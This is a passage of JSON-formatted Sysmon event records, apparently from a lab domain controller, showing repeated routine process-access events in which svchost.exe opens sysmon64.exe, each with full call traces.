C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1476,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 